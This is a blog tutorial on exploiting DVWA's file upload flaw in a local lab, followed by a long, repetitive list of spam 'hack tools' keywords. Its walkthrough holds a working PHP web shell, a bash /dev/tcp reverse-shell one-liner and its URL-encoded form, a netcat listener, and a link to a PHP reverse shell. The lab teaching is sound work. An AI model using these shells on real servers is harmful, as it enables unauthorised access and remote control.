Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php
phpinfo();
?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php
system($_GET["cmd"]);
?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Related word

1. Pentest Tools Alternative
2. Hacker Tool Kit
3. Hacking Tools For Kali Linux
4. New Hack Tools
5. How To Hack
6. Hacker Search Tools
7. Hacker Tools Hardware
8. Hacking Tools Kit
9. Hack Tools
10. Hacker Tools Linux
11. Nsa Hack Tools
12. Pentest Tools Nmap
13. Growth Hacker Tools
14. Hack Tools 2019
15. Hacker Tools Software
16. Hackers Toolbox
17. Pentest Tools For Android
18. Hacking App
19. Pentest Tools Bluekeep
20. Hacker Tool Kit
21. Hack Tools For Ubuntu
22. Hacker Tools Mac
23. Pentest Tools Windows
24. Hacker Techniques Tools And Incident Handling
25. Hacking Tools Online
26. Hacking Tools For Kali Linux
27. Ethical Hacker Tools
28. Hacker Tools 2020
29. Pentest Tools For Ubuntu
30. Pentest Tools Review
31. Pentest Tools Android
32. How To Install Pentest Tools In Ubuntu
33. Hacking Apps
34. Hack Website Online Tool
35. Hacker Tools For Ios
36. Hack Rom Tools
37. Hack App
38. Pentest Tools Port Scanner
39. Hacker Tools Hardware
40. Game Hacking
41. Hacker Tools For Mac
42. Beginner Hacker Tools
43. Install Pentest Tools Ubuntu
44. Usb Pentest Tools
45. Hacker Tools Linux
46. Pentest Tools Apk
47. Hack Apps
48. Hack Tools For Mac
49. Hacker Tools Github
50. Hacking Tools Online
51. Hacking Tools For Beginners
52. Hacks And Tools
53. Hacking Tools Usb
54. Hacking Tools For Pc
55. Pentest Tools Alternative
56. Hack Rom Tools
57. Hacking Apps
58. Hacker Search Tools
59. Hacker Search Tools
60. Pentest Tools Find Subdomains
61. Termux Hacking Tools 2019
62. Hackers Toolbox
63. Ethical Hacker Tools
64. Pentest Tools Website
65. Hacking Tools For Beginners
66. Bluetooth Hacking Tools Kali
67. Pentest Tools For Windows
68. Hacker Tools Github
69. Hacker Tool Kit
70. Best Pentesting Tools 2018
71. Hacker Tools Mac
72. Blackhat Hacker Tools
73. Hack Tools Online
74. New Hack Tools
75. Hack Tool Apk
76. Pentest Tools Windows
77. Hacking Tools
78. Blackhat Hacker Tools
79. Hacking Tools Pc
80. Hacking Tools Hardware
81. Usb Pentest Tools
82. Hack Website Online Tool
83. Pentest Tools Website Vulnerability
84. Hacker Tools Windows
85. Hacking Tools Free Download
86. Hacking App
87. New Hack Tools
88. Hack Tools Mac
89. World No 1 Hacker Software
90. Pentest Tools For Android
91. Hacking Tools Github
92. Hack Tool Apk No Root
93. Computer Hacker
94. Hack Tools For Windows
95. Hackers Toolbox
96. Pentest Tools For Mac
97. Wifi Hacker Tools For Windows
98. Hack Tools For Ubuntu
99. Pentest Tools Android
100. Hacker Tools Apk
101. Growth Hacker Tools
102. Pentest Automation Tools
103. Pentest Tools For Ubuntu
104. Hacker Tools Software
105. Best Pentesting Tools 2018
106. Termux Hacking Tools 2019
107. Hacker Tools 2019
108. Top Pentest Tools
109. Android Hack Tools Github
110. Hacker Tools Online
111. Hacking Tools For Pc
112. Best Pentesting Tools 2018
113. Github Hacking Tools
114. Game Hacking
115. Hacking Tools Windows 10
116. Hack Tools Pc
117. Hacking Tools For Pc
118. Hacker Tools Apk
119. Hacking Tools 2020
120. Pentest Tools Free
121. Hacks And Tools
122. Blackhat Hacker Tools